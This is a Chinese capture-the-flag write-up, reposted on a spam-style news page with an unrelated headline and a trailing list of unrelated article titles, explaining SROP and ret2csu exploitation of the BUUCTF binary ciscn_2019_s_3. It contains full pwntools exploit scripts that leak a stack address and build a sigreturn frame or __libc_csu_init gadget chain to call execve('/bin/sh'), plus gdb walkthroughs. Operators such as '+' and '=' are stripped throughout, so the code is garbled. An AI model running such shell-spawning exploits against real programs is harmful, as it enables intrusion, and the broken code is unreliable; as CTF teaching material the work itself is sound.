当前位置: 首页 > news >正文

网站域名跳转怎么做提供网站制作公司电话

网站域名跳转怎么做,提供网站制作公司电话,网站开发之ios知识扩展,海淀网站开发一、srop 参考文章-博客园-wudiiv11#xff08;作者#xff09;-BUUCTF-ciscn_2019_s_3 参考文章-博客园-z2yh#xff08;作者#xff09;-Srop 原理与利用方法 vlun函数中没有分配栈帧#xff08;指rsp没有增长#xff0c;也没有压入父函数的rbp#xff0c;这也导致…一、srop 参考文章-博客园-wudiiv11作者-BUUCTF-ciscn_2019_s_3 参考文章-博客园-z2yh作者-Srop 原理与利用方法 vlun函数中没有分配栈帧指rsp没有增长也没有压入父函数的rbp这也导致之后的构造payload的时候不需要填充rbp的那8个字节 首先看中间这一栏要找binsh的地址即写入参数的地址在read函数后打断点此时最上面一行rsprbp的这一行时写入地址0x10的位置在此时stack中找到一个栈上的地址减去offset 该地址 -rsp-0x10就是binsh addr 接下来验证 再看右侧这一栏打印出来binsh addr在最后测可以看到输出结果再在中间遮拦使用x/s命令查看该地址的内容验证确实为索要得到的内容 from pwn import * from LibcSearcher import * context(os linux, arch amd64, log_level debug) ifRemote 0 if ifRemote:io remote(node4.buuoj.cn,26390) else:io process(./ciscn_s_3) popRdiRet 0x4005a3 syscall_addr 0x400501 setRax 0x4004da main 0x4004ED mainWithoutStackSet 0x4004f1def debug():gdb.attach(io)pause() payload b/bin/sh\x00ba*(0x8) p64(main) io.send(payload)print(io.recv(len(payload)8)) binsh_addr u64(io.recv(8)) -0x148 print(hex(binsh_addr)) # debug() # payload bshsh\x00bb*(0x88) # io.sendline(payload) # print(io.recvall())frame SigreturnFrame() frame.rax 59 frame.rdi binsh_addr frame.rsi 0 frame.rdx 0 frame.rip syscall_addr payload ba*(0x108)p64(setRax)p64(syscall_addr)str(frame) io.sendline(payload) io.interactive()结果本地可以打通 远程打不通 使用以下命令修改文件的libc 如何使用patchelf修改文件libc参见 这篇文章的相应段落 patchelf --set-interpreter ~/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./ciscn_s_3 patchelf --replace-needed libc.so.6 /home/iront/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./ciscn_s_3 ps有个奇怪的地方是rsp的位置好像不在预期的地方这里没有进行深入的探究 找到写入的binsh的位置 发现先此时偏移量变为了0x118 修改后的exp其实只把0x148改成了0x118 二、ret2csu 参考博文CSDN-西杭作者-中级ROP之ret2csu __libc_csu_init函数: .text:00000000004011B0 ; void _libc_csu_init(void) .text:00000000004011B0 public __libc_csu_init .text:00000000004011B0 __libc_csu_init proc near ; DATA XREF: _start16↑o .text:00000000004011B0 ; __unwind { .text:00000000004011B0 push r15 .text:00000000004011B2 mov r15, rdx .text:00000000004011B5 push r14 .text:00000000004011B7 mov r14, rsi .text:00000000004011BA push r13 .text:00000000004011BC mov r13d, edi .text:00000000004011BF push r12 .text:00000000004011C1 lea r12, __frame_dummy_init_array_entry .text:00000000004011C8 push rbp .text:00000000004011C9 lea rbp, __do_global_dtors_aux_fini_array_entry .text:00000000004011D0 push rbx .text:00000000004011D1 sub rbp, r12 .text:00000000004011D4 sub rsp, 8 .text:00000000004011D8 call _init_proc .text:00000000004011DD sar rbp, 3 .text:00000000004011E1 jz short loc_4011FE .text:00000000004011E3 xor ebx, ebx .text:00000000004011E5 nop dword ptr [rax] .text:00000000004011E8 .text:00000000004011E8 loc_4011E8: ; CODE XREF: __libc_csu_init4C↓j .text:00000000004011E8 mov rdx, r15 .text:00000000004011EB mov rsi, r14 .text:00000000004011EE mov edi, r13d .text:00000000004011F1 call qword ptr [r12rbx*8] .text:00000000004011F5 add rbx, 1 .text:00000000004011F9 cmp rbp, rbx .text:00000000004011FC jnz short loc_4011E8 .text:00000000004011FE .text:00000000004011FE loc_4011FE: ; CODE XREF: __libc_csu_init31↑j .text:00000000004011FE add rsp, 8 .text:0000000000401202 pop rbx .text:0000000000401203 pop rbp .text:0000000000401204 pop r12 .text:0000000000401206 pop r13 .text:0000000000401208 pop r14 .text:000000000040120A pop r15 .text:000000000040120C retn .text:000000000040120C ; } // starts at 4011B0 .text:000000000040120C __libc_csu_init endp gadgets1: .text:00000000004011FE loc_4011FE: ; CODE XREF: __libc_csu_init31↑j .text:00000000004011FE add rsp, 8 .text:0000000000401202 pop rbx .text:0000000000401203 pop rbp .text:0000000000401204 pop r12 .text:0000000000401206 pop r13 .text:0000000000401208 pop r14 .text:000000000040120A pop r15 .text:000000000040120C retn .text:000000000040120C ; } // starts at 4011B0 gadgets2 .text:00000000004011E8 loc_4011E8: ; CODE XREF: __libc_csu_init4C↓j .text:00000000004011E8 mov rdx, r15 .text:00000000004011EB mov rsi, r14 .text:00000000004011EE mov edi, r13d .text:00000000004011F1 call qword ptr [r12rbx*8] .text:00000000004011F5 add rbx, 1 .text:00000000004011F9 cmp rbp, rbx .text:00000000004011FC jnz short loc_4011E8 gadgets2 通用payload payload ba*(0x10) p64(main) io.send(payload) print(io.recv(len(payload)8)) binsh_addr u64(io.recv(8)) -0x118 print(hex(binsh_addr))# rdx r15;rsi r14;rdi(edi) r13;r12存放需要调用的函数地址的地址 setRaxForExecv 0x4004e2 # 有些exp中用的是0x40059A就是一个add esp 8的区别那么相应的就在构造payload的时候少填充一个8字节下面涉及到再说 first_csu 0x400596 second_csu 0x400580 def ret_csu():#构造栈溢出点的paddingpayload /bin/sh\x00 p64(setRaxForExecv)# 下面这行填充的p64(0)就是为了填充add rsp, 8#first_csu为gadgets1的地址payload p64(first_csu) p64(0)#使得gadgets2中的while循环能够退出不至于死循环payload p64(0) p64(1) # rbx0, rbp1 # 这里是用作gadget2中的call指令call [r12rbx*8]# 由于rbx设置为0所以r12的地址处应存放一个gadget的地址# 这里设置r12的值为 binsh_addr 8,binsh_addr8处存放将rax设置为execv系统调用号的gadgetpayload p64(binsh_addr8) # r12 #三个参数的寄存器payload p64(0)*3 # r13 r14 r15# gadgets2的地址payload p64(second_csu)#gadgets2结束后再次执行gadgets1中的内容会pop出的6个栈的内容到寄存器1个add esp8所以paddding的内容为7*8长度payload p64(0)*7#函数最后的返回地址payload p64(popRdiRet) p64(binsh_addr)payload p64(syscall_addr)return payloadret2csu动态调试 从动态调试角度解释上述脚本构造原因 在这里设下断点开始调试 程序停在这里ps我wsl这台机器里需要在输入命令的界面非gdb界面按下两次回车才能开始在gdb中继续调试程序 一路ni到ret指令程序执行流被劫持到csu_init函数的gadget1位置 这里执行一次add rsp 8将栈抬高了8字节用p64(0)填充上然后为rbprbx赋值分别为10原因之后遇到了相关判断再分析 接下来pop r12r12是用于接下来的call指令的 在接下来连续三个pop r13,r14,r15分别对应rdxrsirdi的值都赋值为0即可execve的第2、3个参数分别为rsi、rdx均需要为0,所以此处对应p64(0)*3 继续ni到gadget1的ret 此时执行了call指令执行为rax赋值的操作 执行完rax赋值之后回到gadgets2中 此时进行cmp比较rbxrbp1如果不相等则回到循环这也是为什么payload中设置rbp 1rbx 0 在接下来程序执行一个rsp 8和6个pop 所以payload中填充p64(0)*7 再接着就继续执行到pop rdi和syscall了
http://www.dnsts.com.cn/news/266852.html

相关文章:

  • 网站制作公司北京华网seo优化排名技术百度教程
  • 北京西站地铁几号线h5游戏平台搭建
  • 深圳电商平台网站建设禹州市城乡建设局网站
  • 数据交易网站源码专做会议推广的网站
  • 免费空间asp网站源码剑阁县规划和建设局网站
  • 网站好玩代码和特效wordpress创建空白网页
  • 网站模板 wordpress带会员系统网站开发总体功能设计
  • 九龙坡网站建设多少钱南宁seo排名收费
  • 无锡做网站的公司服装网站建设规划书怎么写
  • 网站邮箱代码网站建设花钱少
  • 建设公司的网站首页网站手机pc同步
  • 美容院门户网站开发wordpress支付宝收款
  • 网站描述 关键词免费推广自己的网站
  • 在线制作网站公章建筑工程招聘网站哪个好
  • php做教育网站大型网站的技术架构问题
  • 视屏网站开发者工具无视频文件表情制作器
  • 个人网站源码下载静态网站开发课程相关新闻
  • 哪里能找到网站阿里云零基础网站建设教学
  • 网站推广的四个阶段是指新乡专业做网站
  • 义乌网站建设制作wordpress中文相册插件
  • 建设一个下载网站如何开网站
  • 杭州市钱江新城投资集团有限公司征集网站建设合作单位的公告怎么做贝店式的网站
  • 学校网站建设代码wordpress手机qq登录地址
  • 上海优化公司排行榜北京优化推广公司
  • 网站建设siteserver谁能分享个小网站啊
  • 响应式个人网站模板下载网站建设首选智投未来1
  • 公司网站自己创建表白网页制作软件
  • 绍兴网站建设方案服务温州开发网站公司
  • 深圳做网站联系电话营销qq下载
  • 网站推广烟台公司电话天津关键词搜索排名